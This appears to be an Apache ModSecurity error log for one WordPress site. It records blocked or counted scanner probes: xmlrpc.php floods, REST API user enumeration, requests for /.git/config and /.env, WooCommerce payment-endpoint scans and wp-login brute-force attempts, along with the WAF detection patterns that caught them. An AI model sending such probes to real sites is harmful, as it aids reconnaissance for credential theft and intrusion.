[Thu Jan 15 20:44:54.775236 2026] [:error] [pid 5389:tid 5407] [client 35.240.82.232:58265] [client 35.240.82.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.240.82.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjhRkkzfklDSWCNrVKB2wAAANA"]
[Thu Jan 15 20:44:58.407876 2026] [:error] [pid 5389:tid 5406] [client 35.240.82.232:58265] [client 35.240.82.232] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWjhSkkzfklDSWCNrVKB4AAAAM8"]
[Thu Jan 15 20:45:00.071038 2026] [:error] [pid 5389:tid 5400] [client 35.240.82.232:58265] [client 35.240.82.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.240.82.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjhTEkzfklDSWCNrVKB4wAAAMk"]
[Thu Jan 15 20:45:02.484044 2026] [:error] [pid 5389:tid 5403] [client 35.240.82.232:60304] [client 35.240.82.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.240.82.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjhTkkzfklDSWCNrVKB5gAAAMw"]
[Thu Jan 15 20:45:04.686479 2026] [:error] [pid 5291:tid 5350] [client 35.240.82.232:62319] [client 35.240.82.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.240.82.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjhUDp5twZ54fay3RfQxQAAAFc"]
[Thu Jan 15 20:45:06.855054 2026] [:error] [pid 5389:tid 5411] [client 35.240.82.232:64963] [client 35.240.82.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.240.82.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjhUkkzfklDSWCNrVKB6wAAANQ"]
[Thu Jan 15 20:45:09.009595 2026] [:error] [pid 5291:tid 5337] [client 35.240.82.232:49997] [client 35.240.82.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.240.82.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjhVTp5twZ54fay3RfQywAAAEo"]
[Thu Jan 15 20:45:09.009777 2026] [:error] [pid 5291:tid 5337] [client 35.240.82.232:49997] [client 35.240.82.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.240.82.232, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjhVTp5twZ54fay3RfQywAAAEo"]
[Thu Jan 15 20:58:05.777401 2026] [:error] [pid 5291:tid 5337] [client 104.197.83.145:53567] [client 104.197.83.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.83.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjkXTp5twZ54fay3RfUVQAAAEo"]
[Thu Jan 15 20:58:09.265434 2026] [:error] [pid 5291:tid 5343] [client 104.197.83.145:53567] [client 104.197.83.145] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWjkYTp5twZ54fay3RfUWwAAAFA"]
[Thu Jan 15 20:58:10.796888 2026] [:error] [pid 5291:tid 5344] [client 104.197.83.145:53567] [client 104.197.83.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.83.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjkYjp5twZ54fay3RfUXgAAAFE"]
[Thu Jan 15 20:58:12.735327 2026] [:error] [pid 21666:tid 21677] [client 104.197.83.145:59834] [client 104.197.83.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.83.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjkZKM9zD2y6IZZ4RRcUAAAAYY"]
[Thu Jan 15 20:58:14.576189 2026] [:error] [pid 5389:tid 5407] [client 104.197.83.145:61876] [client 104.197.83.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.83.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjkZkkzfklDSWCNrVKFUAAAANA"]
[Thu Jan 15 20:58:16.420460 2026] [:error] [pid 5290:tid 5321] [client 104.197.83.145:59803] [client 104.197.83.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.83.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjkaDiQRfcmyoePXPfIEAAAABY"]
[Thu Jan 15 20:58:18.247925 2026] [:error] [pid 5290:tid 5320] [client 104.197.83.145:58475] [client 104.197.83.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.197.83.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjkajiQRfcmyoePXPfIGAAAABU"]
[Thu Jan 15 20:58:18.248108 2026] [:error] [pid 5290:tid 5320] [client 104.197.83.145:58475] [client 104.197.83.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 104.197.83.145, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWjkajiQRfcmyoePXPfIGAAAABU"]
[Thu Jan 15 21:31:34.767858 2026] [:error] [pid 51857:tid 51881] [client 43.166.128.187:59018] [client 43.166.128.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWjsNnDlXoqhkNNyf_y2RAAAAVY"]
[Thu Jan 15 22:15:15.252334 2026] [:error] [pid 5290:tid 5316] [client 34.60.92.193:59812] [client 34.60.92.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.92.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWj2cziQRfcmyoePXPfWkgAAABE"]
[Thu Jan 15 22:28:29.876321 2026] [:error] [pid 5389:tid 5399] [client 159.65.167.144:60494] [client 159.65.167.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aWj5jUkzfklDSWCNrVKY9QAAAMg"]
[Thu Jan 15 23:50:03.957177 2026] [:error] [pid 5292:tid 5360] [client 159.65.188.29:53984] [client 159.65.188.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aWkMq2WxK-ai3L9DjxZS6wAAAIU"]
[Fri Jan 16 02:18:19.614684 2026] [:error] [pid 51857:tid 51875] [client 2.57.122.173:48898] [client 2.57.122.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aWkva3DlXoqhkNNyf_wZyQAAAVA"]
[Fri Jan 16 02:51:54.668882 2026] [:error] [pid 5389:tid 5392] [client 43.157.179.227:44204] [client 43.157.179.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWk3SkkzfklDSWCNrVLaRQAAAME"]
[Fri Jan 16 11:11:40.772424 2026] [:error] [pid 29908:tid 29918] [client 43.159.138.217:44480] [client 43.159.138.217] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWmsbGVs7GIQKAJ2aTVvfAAAAEg"]
[Fri Jan 16 12:59:08.933625 2026] [:error] [pid 29908:tid 29925] [client 123.201.68.138:5767] [client 123.201.68.138] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aWnFnGVs7GIQKAJ2aTWjrQAAAE8"]
[Fri Jan 16 13:00:33.034687 2026] [:error] [pid 29908:tid 29918] [client 123.201.68.138:5817] [client 123.201.68.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.201.68.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWnF8WVs7GIQKAJ2aTWkjwAAAEg"]
[Fri Jan 16 13:01:41.840840 2026] [:error] [pid 9260:tid 9285] [client 123.201.68.138:6926] [client 123.201.68.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.201.68.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWnGNV3AAooR8oZsCwl-TgAAABc"]
[Fri Jan 16 13:02:56.472608 2026] [:error] [pid 29908:tid 29910] [client 123.201.68.138:6030] [client 123.201.68.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.201.68.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWnGgGVs7GIQKAJ2aTWmIQAAAEA"]
[Fri Jan 16 13:04:12.674734 2026] [:error] [pid 9171:tid 9252] [client 123.201.68.138:5733] [client 123.201.68.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.201.68.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWnGzIJ9Drgq4A3ZjfMZtAAAAVg"]
[Fri Jan 16 13:05:39.780523 2026] [:error] [pid 9260:tid 9277] [client 123.201.68.138:6976] [client 123.201.68.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.201.68.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWnHI13AAooR8oZsCwmAKgAAAA8"]
[Fri Jan 16 13:56:16.640117 2026] [:error] [pid 9260:tid 9272] [client 106.215.167.240:3269] [client 106.215.167.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.167.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWnTAF3AAooR8oZsCwmUBQAAAAo"]
[Fri Jan 16 14:00:39.290181 2026] [:error] [pid 9169:tid 9182] [client 106.215.167.240:20767] [client 106.215.167.240] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aWnUB_nHNwn4jDwFUqTXxwAAAMk"]
[Fri Jan 16 14:01:59.530298 2026] [:error] [pid 9170:tid 9201] [client 106.215.167.240:31414] [client 106.215.167.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.167.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWnUV24MLV83AzbIjkaeiAAAAQA"]
[Fri Jan 16 14:03:15.188927 2026] [:error] [pid 9170:tid 9207] [client 106.215.167.240:3089] [client 106.215.167.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.167.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWnUo24MLV83AzbIjkae3AAAAQY"]
[Fri Jan 16 14:04:37.632575 2026] [:error] [pid 9170:tid 9214] [client 106.215.167.240:25020] [client 106.215.167.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.167.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWnU9W4MLV83AzbIjkafRwAAAQ0"]
[Fri Jan 16 14:06:05.459287 2026] [:error] [pid 9170:tid 9223] [client 106.215.167.240:25446] [client 106.215.167.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.167.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWnVTW4MLV83AzbIjkaftAAAARY"]
[Fri Jan 16 17:02:16.465199 2026] [:error] [pid 30866:tid 30895] [client 84.247.169.220:59994] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWn-mCfb83E1Tbd0nr9roAAAAAA"]
[Fri Jan 16 17:02:17.760594 2026] [:error] [pid 30866:tid 30903] [client 84.247.169.220:60104] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-json/wc/v3/payment_gateways"] [unique_id "aWn-mSfb83E1Tbd0nr9rqQAAAAg"]
[Fri Jan 16 17:02:19.108946 2026] [:error] [pid 30925:tid 30950] [client 84.247.169.220:60190] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-json/wc/v2/payment_gateways"] [unique_id "aWn-m7Pyx6TwF5dNaFqijAAAAZc"]
[Fri Jan 16 17:02:20.399871 2026] [:error] [pid 30865:tid 30884] [client 84.247.169.220:60289] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-json/wc/store/v1/cart"] [unique_id "aWn-nBCR_HCYGnC3FS-znAAAAVA"]
[Fri Jan 16 17:02:21.667183 2026] [:error] [pid 30865:tid 30873] [client 84.247.169.220:60397] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-json/wc/store/v1/payment_methods"] [unique_id "aWn-nRCR_HCYGnC3FS-zpAAAAUU"]
[Fri Jan 16 18:10:25.523997 2026] [:error] [pid 30865:tid 30882] [client 43.130.110.130:41392] [client 43.130.110.130] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWoOkRCR_HCYGnC3FS_QXwAAAU4"]
[Fri Jan 16 19:41:45.457019 2026] [:error] [pid 30865:tid 30874] [client 170.106.11.141:37514] [client 170.106.11.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWoj-RCR_HCYGnC3FS_9FwAAAUY"]
[Fri Jan 16 20:31:44.392146 2026] [:error] [pid 54008:tid 54032] [client 203.2.64.59:50980] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWovsMeowS6CyLOmCzPyVAAAAJY"]
[Fri Jan 16 22:34:43.980320 2026] [:error] [pid 30957:tid 30976] [client 178.62.228.200:56649] [client 178.62.228.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.228.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWpMg92pbRtnni7K9w-PVQAAAFA"]
[Fri Jan 16 22:39:57.519201 2026] [:error] [pid 30925:tid 30945] [client 178.62.228.200:50007] [client 178.62.228.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.228.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWpNvbPyx6TwF5dNaFoBkAAAAZI"]
[Fri Jan 16 22:44:04.128985 2026] [:error] [pid 54008:tid 54021] [client 178.62.228.200:62238] [client 178.62.228.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.228.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWpOtMeowS6CyLOmCzMbqAAAAIs"]
[Fri Jan 16 22:48:40.706298 2026] [:error] [pid 30925:tid 30937] [client 178.62.228.200:58033] [client 178.62.228.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.228.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWpPyLPyx6TwF5dNaFoDUAAAAYo"]
[Fri Jan 16 22:53:27.600489 2026] [:error] [pid 30957:tid 30971] [client 178.62.228.200:53840] [client 178.62.228.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.228.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWpQ592pbRtnni7K9w-ThwAAAEs"]
[Sat Jan 17 01:02:13.366856 2026] [:error] [pid 30957:tid 30961] [client 170.106.140.110:37788] [client 170.106.140.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWpvFd2pbRtnni7K9w-xawAAAEE"]
[Sat Jan 17 03:05:20.334094 2026] [:error] [pid 30957:tid 30960] [client 182.44.67.97:56208] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWqL8N2pbRtnni7K9w_G2gAAAEA"]
[Sat Jan 17 04:37:06.627502 2026] [:error] [pid 31225:tid 31312] [client 43.134.141.244:49678] [client 43.134.141.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWqhcunu2L2yWFDbzyXWSAAAAJg"]
[Sat Jan 17 09:14:05.639319 2026] [:error] [pid 31698:tid 31711] [client 117.62.235.53:48759] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWriXbjKZJSxKAfZqrJFBwAAAQk"]
